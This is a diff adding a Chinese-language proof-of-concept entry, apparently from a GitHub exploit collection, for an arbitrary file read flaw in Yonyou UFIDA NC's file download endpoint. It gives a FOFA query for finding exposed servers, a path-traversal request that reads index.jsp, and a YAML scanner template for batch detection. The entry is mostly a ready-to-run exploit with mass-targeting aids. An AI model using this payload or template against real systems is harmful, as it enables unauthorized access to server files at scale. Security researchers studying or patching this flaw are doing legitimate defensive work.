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+
+## 用友NC的download文件存在任意文件读取漏洞
+
+
+## fofa
+```
+app="用友-UFIDA-NC"
+```
+
+## poc
+```
+/portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp
+```
+![image](https://github.com/wy876/POC/assets/139549762/43853ad7-9323-4874-956c-25b5de054184)
+
+## yaml 批量检测
+```
+id: yonyouNC_download_fileread
+info:
+  name: 用友NC_download文件读取
+  author: mhb17
+  severity: high
+  description: description
+  reference:
+    - https://
+  tags: fileread
+requests:
+  - raw:
+      - |+
+        GET /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - '200'
+      - type: word
+        part: body
+        words:
+          - "response.addHeader"
+
+```